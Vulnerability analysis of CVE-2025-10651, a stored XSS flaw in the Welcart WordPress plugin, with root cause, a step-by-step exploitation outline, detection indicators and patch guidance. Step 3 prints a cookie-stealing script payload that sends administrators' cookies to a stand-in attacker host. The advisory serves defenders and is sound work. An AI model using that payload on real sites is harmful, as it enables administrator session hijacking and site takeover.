CVE-2025-10651: 
WordPress vulnerability analysis and mitigation

CVE-2025-10651 is a Stored Cross-Site Scripting (XSS) vulnerability in the Welcart e-Commerce plugin for WordPress, affecting versions up to and including 2.11.22. The flaw exists in the order_mail setting due to insufficient input sanitization and missing output escaping, allowing authenticated attackers with Editor-level permissions or above to inject malicious scripts via the General Setting page. These scripts execute when an administrator visits the E-mail Setting page. It was published on October 22, 2025, with a CVSS v3.1 base score of 5.5 (Medium), as assessed by Wordfence (Wordfence, NVD).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The order_mail field in the Welcart plugin's General Setting page fails to properly sanitize user-supplied input before storing it, and fails to escape the stored value when rendering it on the E-mail Setting page. An attacker with Editor-level access (or higher) can craft a malicious payload in the order_mail field; when an administrator subsequently loads the E-mail Setting page, the stored script executes in the administrator's browser context. The attack vector is network-based, requires high privileges, and no user interaction beyond the victim administrator's normal page visit (Wordfence, NVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator's browser session, potentially enabling session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts), or further site compromise. The scope is changed (S:C), meaning the impact extends beyond the attacker's privilege level to affect the administrator's session. Confidentiality and integrity are both rated Low impact, with no direct availability impact (Wordfence).

1. Gain Editor-level access: Obtain or compromise a WordPress account with Editor-level permissions or higher on a site running Welcart e-Commerce plugin version 2.11.22 or earlier.
2. Navigate to General Settings: Log in to the WordPress admin panel and navigate to the Welcart plugin's General Setting page.
3. Inject malicious payload: In the order_mail field, enter a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> and save the settings.
4. Wait for administrator trigger: The payload is now stored in the database. When a site administrator navigates to the E-mail Setting page, the stored script executes in their browser context.
5. Harvest results: The attacker receives the administrator's session cookies or other sensitive data at their controlled endpoint, potentially enabling full administrative account takeover (Wordfence).

• Logs: WordPress access logs showing POST requests to the Welcart General Setting page (/wp-admin/admin.php?page=usces_general or similar) from Editor-level accounts, particularly containing script tags or encoded JavaScript in the order_mail parameter.
• Database: Unexpected JavaScript or HTML script tags stored in the order_mail field of the Welcart plugin's settings in the WordPress database (wp_options table).
• Network: Outbound HTTP requests from administrator browsers to unknown external domains shortly after accessing the Welcart E-mail Setting page, potentially carrying cookie or session data.
• Logs: WordPress admin audit logs (if enabled) showing unusual modifications to Welcart General Settings by Editor-level users.

Users should update the Welcart e-Commerce plugin to version 2.11.23 or later, which addresses the insufficient sanitization and missing output escaping in the order_mail field. The fix is available via the WordPress plugin repository changeset (Plugin Changeset) and the vendor's official release notes (Welcart Advisory). As a temporary workaround, site administrators should restrict Editor-level access to trusted users only and monitor the Welcart General Settings page for unauthorized changes until the patch is applied.

Wordfence reported the vulnerability and published it to their threat intelligence platform on October 22, 2025, and included it in their weekly WordPress vulnerability report for October 20–26, 2025 (Wordfence Weekly Report). The vulnerability received standard coverage from automated CVE tracking services (VulDB, Vulners, CIRCL) but no notable independent researcher commentary or significant social media discussion was observed.